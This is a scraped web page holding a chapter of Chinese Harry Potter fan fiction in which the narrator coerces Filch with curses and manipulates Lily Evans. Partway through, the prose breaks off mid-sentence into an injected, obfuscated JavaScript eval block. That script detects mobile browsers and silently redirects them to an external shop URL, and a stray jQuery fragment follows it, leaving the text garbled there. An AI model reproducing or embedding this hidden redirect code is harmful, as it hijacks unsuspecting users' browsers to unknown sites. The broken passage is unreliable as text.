默认冷灰
24号文字
方正启体

6. 女王蜂(二)

作者:喝水修仙本书字数:K更新时间:
    假使“人”拥有这样僭越的权力,“人”该去怎样定义“神”呢?


    具备无法被自然科学解释的特殊强大能力?


    倘若如此定义,那么,巫师相对于麻瓜来说,就是“神”;那么盖特勒·格林德沃,那个纽蒙迦德的失败者,他的主张显得如此正确而有远见——他们理应推翻现有的世界秩序,重建一个极端纯粹的、由力量决定的新秩序。由巫师统治麻瓜,再由强大的巫师统治弱小的巫师。


    由此来看,“神”的能力理应比这更加强大。因为“神”是唯一的、绝对的,巫师们只是祂脚下匍匐的蝼蚁。因此想要定义“神”,就必须从巫师也无法轻易达成的伟大事业所着眼,譬如...跨越生死的能力。


    仅仅如此,听起来或许太过单薄。《圣经》中形容“神”,是万事万物的创造者、主宰者、立约者、审判者、救赎者...可倘若无法跨越古今与生死,祂显然无法成就前述的任何一种伟大。


    所以,立于生死之上,是前提、是必要。具备了跨越生死的能力,也就具备了“神”的胚胎与雏形。


    汤姆·里德尔将轻松得到的关于你的信息,与自己的简历一起,投入壁炉的火焰之中。


    阿茜娜,格兰芬多一年级,性格活泼,魔法资质出挑...


    而“你”不是一位巫师。


    他如此肯定。他从未在“你”身上感受到过任何“巫师同类”的气息,所谓魔法的气息。


    “你”是“神”的胚胎,却也是一个麻瓜。“你”所拥有的强大力量不源于巫师的血脉,而是与“你”的魂灵同在。


    这不是...


    汤姆扯起嘴角。


    更妙了吗?


    只要他能掌握这其中的机巧,那么,他将真正成为这世上唯一的、最强大的“神”。


    儿时对于“你”的恐惧,早已随着时间、以及自身愈发强大的魔法与愈发壮大的权力,而消磨得近乎不再存在。就如水里的一线沙,只有定睛凝视它的存在时,才会被它所凝视。


    他想,“你”一定就在某处,等着他完成他儿时的愿景——挖出你的秘密,榨干你的价值,再让你以最痛苦的方式死去。


    他由此联想到阿不思·邓布利多此次对于他的拒绝。


    这已经是第二次了,尽管上一次以“他太过年轻”这种理由拒绝他的,并非是阿不思·邓布利多,可是他竟敢拒绝他。


    胸中数种交织的怒火,令他恨恨笑了一声。


    虽然他这次回来霍格沃茨,本也是抱着挑衅与试探邓布利多的意图...但,邓布利多会为此付出代价的。


    汤姆·里德尔离开这里。


    他们马上就要见分晓了。


    他穿过前庭草地,忽然心有所感,回身望向霍格沃茨城堡。


    他这算是看到你了吗?


    你靠在走廊窗口,支着下巴,没有太多反应。


    你的报复欲原本都快随着过于安逸的日子消磨殆尽了,然而他这一出现,倒是又提醒了你:你还没有对他的上一次犯贱做出回击,你不能吃这种哑巴亏。


    你此前给自己找的犯懒理由是:霍格沃茨管理员每晚巡夜,你太大张旗鼓地夜游、寻找有求必应屋,很有可能会被发现,而反复拉条读档实在是件辛苦事。还不如放轻松一点,找一天休几天。


    现在就来解决这个问题吧,所谓一个人最大的魅力就是她解决问题的能力。


    你想。


    关键的问题就在于问题的关键。


    你决定了,你要解决管理员本身——阿格斯·费尔奇。


    “阿茜娜!阿茜娜,不好了!”服从你以获得你庇护的跟班之一慌慌张张来向你打报告,“莱欧昨天晚上被那个新来的管理员抓了!”


    你仍旧望向远处草坪宽阔无垠的绿色,这让你的眼睛无比舒服。


    “莱欧?”那是谁。


    “他是最早来和我们做朋友的二年级。”跟班提醒你,“半个月前,我们和斯莱特林打架的时候,他曾毫不犹豫地加入我们,事后还帮我们向教授作了伪证。”


    “那可不是打架。”你矢口否认,“那是斯莱特林的对我们犯贱,我们只好扇回去。”


    那是你单方面殴打贱人,有什么好称之为打架的。


    跟班陪笑附和,说你说的对,又问你莱欧这件事应该怎么办——新来的管理员真是惹人讨厌,竟然还扯着教授们的大旗,叫嚣要恢复对学生的体罚——跟班说到这里,骂了一句这个年龄不该讲的脏话,说总有一天要踹烂这个老家伙的屁股。


    “不用总有一天,马上就可以。费尔奇又不是什么好东西。”你随意说道,“但莱欧也是个废物,夜游还能被新来的管理员抓到。”


    “阿茜娜...”跟班欲言又止,神情惴惴。


    “我会解决费尔奇的,放心,我会替你们解决他的。这不就是我一直以来对待朋友们的方式吗?”你安抚对方,“我会让他,我是说费尔奇,我会让他再也不敢招惹我的朋友们。”


    至于你要怎样解决费尔奇,说服他再也不去招惹你的朋友们?


    自然是用真理!


    而真理——只在大炮的射程之内。


    “倒挂金钟。”


    你双手插着袍子衣兜,一道无杖咒将费尔奇倒吊上他办公室的房梁,又回身给房门施了一道牢不可破咒。


    “您好,我是格兰芬多的阿茜娜。我准备了沟通所必备的棒子和甜枣,准备来和您谈一笔交易。为了使您充分认识到我的认真与能力,我只能用这种方式向您展示,万分抱歉。”


    你在这个狭小、昏暗、没有窗户的房间里,“艰难”找到地方坐下,翘起二郎腿。


    费尔奇瞪大了眼,激愤随着倒流的血液一并冲向头顶,令他干瘦邋遢的面孔上眼球充血突出,活像一具发狂的木乃伊。


    他嘶哑尖叫。


    “你这该死的小崽子!我要向教授们报告,我会把你关进地牢——”


    “我觉得先做打一棒子这一步比较好。”


    你完全不等、也不听他的回话,自顾自地向下推进。


    你先把他锁舌封喉,然后是一道神锋无影——噢老天,你是不是抢了它的发明者的版权?


    “您可以向教授们报告,但我向您保证,没有人会相信你。除了‘彻底失心疯了’这个评价,您将得不到任何东西。我没有使用魔杖,傲罗来了也追查不到任何关于我的痕迹;如若您不配合我,我在临走前会对您使用混淆咒,就算是您自己的记忆,也无法通过邓布利多校长的冥想盆为您发声。”


    游刃有余地说完后,你对他使用Vulnera Sanentur,神锋无影的治疗反咒。


    费尔奇身上鲜血淋漓的创口瞬间愈合,只留下沁在他肮脏破旧的暗色袍子里的、他自己的血,以及真实存在过并且无法轻易消退的痛楚。


    “接下来,我将向您展示甜枣。”


    你将他放了下来,解除了他的锁舌封喉。


    他咚地一下摔在地上,本就因愤恨疼痛而扭曲的脸立时更加狰狞,痛喊与叫骂同步出声,“你这该死的——”


    这次,不等你打断,他自己就先噤声了。


    梅林的裤子!他怎么突然能说话了!


    他色厉内荏地瞪大双眼、缩紧肩膀。


    是的,他就是这样装腔作势却本性怯懦的老鬼。


    他怨毒的眼神贼遛遛地瞄向门口,他听见你对它施咒了,他知道自己大抵跑不出去。


    该死的,你这恶毒的小鬼,你们这些学生全部都是...他一早就同邓布利多争取过,就在他上任的第一天,他就说霍格沃茨应当恢复对你们这些恶毒、狡诈、不守规矩的小鬼们的体罚!把你们吊在天花板上打,把你们关进地牢里思过!


    他恶狠狠地盯着你,竭力表现出一副有底气的样子,妄想能以此“吓”退你。


    “据我所知,您是一位哑炮。而我恰巧有一些神奇的能力,我能帮助您学会一些常用的魔法。”


    该死的...该死的!


    费尔奇脑子里腾的一下,几乎被“哑炮”这个词踩断了最后一根神经,瞬间陷入歇斯底里。


    你这该死的!到底是谁,为什么,你怎么会知道——


    等等。


    他倏地一口气哽在喉头。


    你最后,说什么?


    耳边叮地响了一声。


    接着,它变沉,变闷,逐渐拉长。


    嗡...


    随着它拉长的余响,费尔奇突然开始疯狂分泌口水,裹着先前堵在嗓子眼的那点儿气,咕咚一下塞满喉管,咽进腹里。


    “你说什么?”


    费尔奇像是一条饿极了的老狗,露出了狂热而不自知、口水都要掉下来了的表情。


    你:“您这里不是收缴着很多学生们的东西吗?甚至还有往届遗留下来的魔杖。拿一根,我将向您证明。”


    他几乎什么都没想,完全是出于本能,他一下子扑到办公桌边,急不可待地拉开抽屉。


    他差点左脚绊右脚原地摔倒,踉跄几下,强行稳住了身体。


    魔法对他来说,是与生命齐重的贪婪渴望。对于此,饵料的铺设都显得多余,只要有人愿意垂下来一个钩,一个弯的、看似能扎透勒紧他的腮与唇舌,以将他拖出这片苦海的钩;只要有一点点战胜他思考的可能性,他就都奋不顾身地想咬。


    他朝抽屉里伸出手,又猛地顿住。


    他想,也许,此刻就是属于他的“奥利凡德魔杖店”。


    他得好好挑一挑。他选择魔杖,魔杖选择他。


    这根太长了,这根太细了,这根太过粗糙,这根太过光滑...


    噢,就是这根了!


    他选中了它。


    他拿起它,将它握进老茧与湿汗密布的手心。


    它也选中了他。


    他的心跳有如擂鼓。他发誓,如果你敢拿这件事情耍他,他一定会“杀”了你这该死的小鬼...你能吗?你真的能吗?你很有可能是在用恶毒的谎言戏弄他,就像你今天毫无预兆地闯进他的地盘,对他使用的那些恶毒的魔法。可是你施咒甚至都不需要魔杖,而教授们大多还会用它,你似乎的确有些厉害疯狂的本事,他不应该却不由得对你产生了几分幻想...或许、或许...


    他看向你。


    你让他随便使用一个咒语。


    费尔奇颤抖着深呼吸,不停吞咽,试图将嘴里的口水全都吞咽干净。他捋顺舌头,用平生最标准的发音念到——


    “Lumos!”


    魔杖尖端,亮了。


    那簇跃动的荧火从他眼底一直燃烧到心脏。


    他膝盖一软,扑通一下跪倒在地上。


    他耷拉着脑袋,佝偻着身体,片刻后,他忽然发出了干哑的、断断续续的尖笑。


    “我就知道...我就知道...”


    他重复着念叨。


    你看见他面前的地上洇出几点水渍。


    你就知道,能报名“快速念咒速成函授班”的人,必定是对魔法只有一个极其模糊的概念。


    或许他也曾听说过无声无杖咒,但那之于他而言,是强大神秘到仅存在于想象,而不会有机会在现实当中目睹,自然也不会将其作为能够顺理成章联想起来的第一选项。


    费尔奇不会魔法,但他相信魔法的神秘性。


    说到底,“快速念咒速成函授班”这件事,本身就说明他愿意相信那些“听起来有点道理”的旁门左道。


    譬如...某些特殊的人,由于血统或者出生于某年某月某日某时某分,而具备激活他本身拥有的“魔法潜能”的能力。


    “Lumos!Lumos!”他还在测试。


    他念得极快,仿佛生怕其中有你做的手脚。但他又念得极有规律,你控制着让他手中魔杖的尖端按照节奏亮一下不亮一下,亮度也一下强一下弱,正好符合了他还需要磨合练习的说辞。


    他仍未彻底相信,但他实在太想相信了。


    “这是魔法,先生,是灵感,是联结。”你拿出了接近于传销的说辞,“你现在对于我的信任,就像是它——一闪、一闪。你可以试着多信任我一点,这份联结也会随之加强。”


    你承诺每个月会教他一个新咒语。当然,他更需要自己上心,对每个咒语勤加练习。


    你在托管事项里加入每周悄悄让费尔奇“自己练习魔法”时“成功”一次。


    你达成目的,一身轻松。


    说实在的,你原本还稍微有些担心来着。毕竟以一个小屁孩的外表如此招摇行事,可能会显得很搞笑...你只能尽力让这一切不那么幽默,又或者说幽默中透着“我觉得很神圣啊”的感觉。


    你在“党派”内部设置了一道口令:是魔法,我加了魔法!


    如果


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17398734|200395||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    之后你的朋友们再在夜游时不幸被费尔奇逮到,而且没有造成什么破坏,就可以凭借这个暗号,让费尔奇放过ta一次。


    但如果闯下了无法忽视的祸,或者梅开二度二进宫...那ta就自求多福吧,你好良言救不了该死的鬼。


    只是...


    在别人眼里,你似乎也是需要被好良言规劝的找死鬼。


    “阿茜娜。”


    莉莉·伊万斯从床上翻身坐起,原来她刚才是在装睡。


    “你最近每天晚上都会出去。你在干什么?我很担心你。”


    “...”


    你等她睡着后再行动,只是出于好舍友的情谊,不想在别人酝酿睡意期间制造动静,而非是想特地瞒她——她知道或不知道都无所谓,你也不认为需要对她有所交代。但,被像抓贼一样抓个现行,还是让你觉得有些尴尬。


    “夜游。”你惦记着任务二,拿出了副好态度,顿了顿,又补一句,“Just for fun.”


    “听着,阿茜娜,我绝不是想指责你。”莉莉语气认真,“可是你最近夜游实在是太频繁了。你知道谁才最爱这样做吧?波特他们!像他们一样可绝不是件好事!”


    “他们很爱夜游吗?”


    以后的掠夺者们,你当然知道他们爱干这一行当,未来的活点地图可就是他们的杰作。


    你只是想拿“她和詹姆斯·波特之间的‘在意’其实从很早开始就不只是单向”这件事哽她一下,让她的注意力从追问你转移到詹姆斯·波特他们身上。


    “是的,你给格兰芬多加上的分,有一半都是被他们扣下去的。”


    莉莉分外坦然,没有丝毫你预想之中的羞恼,甚至一句话反挑起了你的怒火。


    你之前完全没留意过!他们竟然这么该死吗?


    你突然特别理解铁三角一年级一口气给学院扣了150分后,别人为什么会冷霸凌他们了。


    “我们需要谈一谈,阿茜娜。”莉莉道,“我觉得你最近的状态很不对劲。还记得半个月前,你带着人去和斯莱特林打架吗?你们甚至还向教授说谎。这是不对的。”


    “第一,不是我带着人去打架,是我的朋友们和斯莱特林发生冲突,需要我去帮忙。就像你会为了斯内普出头一样,莉莉,朋友之间需要这种毫不犹豫的互相支持。”


    你诡辩的话术让莉莉·伊万斯冷不丁地张口结舌。


    “第二,不是我们向教授说谎,是我们的一位高年级的朋友,想要保护我们,害怕我们会被教授惩罚。我和你一样,并不赞同说谎这一行为,但我因为这份真挚的心而感动。”


    你追问:“莉莉,难道你觉得我和波特他们是一路货色吗?”


    “当然不是!”莉莉果断否认。


    “霍格沃茨是一个好地方,可是好地方并不都是些好家伙。”你继续往下说,“很多坏家伙,对于我们这样的麻种出身的巫师,就是很差劲。然而,看看你,看看我,我们不比任何人差!事实上,我们比他们当中的很多人都要优秀得多!他们的血不比我们高贵。”


    “我有很多缺点,莉莉,我要承认,我淘气、冲动,但我只是想要保护好自己和朋友们。半个月前,我之所以会答应一起去找那些斯莱特林理论,除了想要保护我的朋友们,还有就是...我听说,他们平时会欺负斯内普。”


    “噢,天、梅林...”


    莉莉睁大双眼,差点忘记提醒自己要用魔法界的俗语。


    “斯内普在斯莱特林过得并不算好,他没什么朋友。”因为没有人有义务透过他阴沉黏腻的外表去了解他阴沉无趣的灵魂,“我和斯内普并不相熟,但我知道,他是你的朋友,而你是我的朋友,莉莉。”


    “...对不起,阿茜娜。”


    莉莉小跑过来拥抱你。


    “真的对不起,是我误会你了。”


    莉莉·伊万斯是一个正直的人,她的正直有一套自己自洽的逻辑。


    她帮亲不帮理。因为“爱”这一情感是她最想要守护的存在。


    她偏袒弱者。单拎出来完全相同的坏事,如果是由青壮年、男性干的,她会不假思索地斥责对方,维护正义;可如果是由老幼、女性干的,她就会犹豫,她就会开始退一步设想:是不是对方会有苦衷?是不是虽然对方确实做了这样的事,但也没有给任何人造成伤害?如果对于弱势群体死板地统一公平标准,是不是本身就是一种不公平?


    她是典型的alpha女,行事果决,雷厉风行,认为错误与错误之间也分高下轻重,拘泥于过去不如展望未来...有时她也会锋芒毕露伤害到别人,事后,她会真诚地同对方道歉,尝试弥补,但如果对方始终不原谅她,那她就会随着时间流逝自然将其放下。


    她的善良混着一份辛辣,这是她比起外表更加让人着迷的地方。


    你绝对没有ltp,但,莉莉·伊万斯真的是一个从小就极具独特魅力的人。


    而你搞定了这个小万人迷。


    你步履轻松地扫完霍格沃茨城堡内的最后一块地图,最终在城堡七楼一幅叫做“巨怪棒打傻巴拿巴”的挂毯对面,试出了有求必应屋的位置。


    你聚精会神地想着拉文克劳王冠,在这段空白的墙前来回走过三次——


    墙壁上出现了一扇极其光洁的深色的门。


    它与周围斑驳破旧的墙壁形成了鲜明对比,但它并不华丽,它看起来坚固而严丝合缝,表面没有把手,或者说把手其实早与门融为了一体。


    你兴奋地笑,推开门,走了进去。


    屋内足有教堂那么大,甚至更大,布满了密密麻麻、高耸至天花板的杂物堆。天花板上悬挂着几十盏生锈的枝形吊灯,散发出幽暗的、类似磷火般的银绿色光,令视野显得异常昏暗阴森。


    这里像是一座巨大的迷宫。


    成千上万本禁书,损坏的魔法物品,带标签的帽子,腐朽的家具,装在瓶子里的不明物体...甚至还有几具被遗忘的魔法生物骨架。


    这里存在着某种“道路”吗?


    似乎有,又似乎没有。


    你用力眨了眨眼,试图在这昏沉的环境里,找到那条通向放着拉文克劳王冠的柜子的小路。


    ...


    等等。


    你突然意识到。


    你好像一直没有听见门关上的声音。


    身后,有风吹来。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)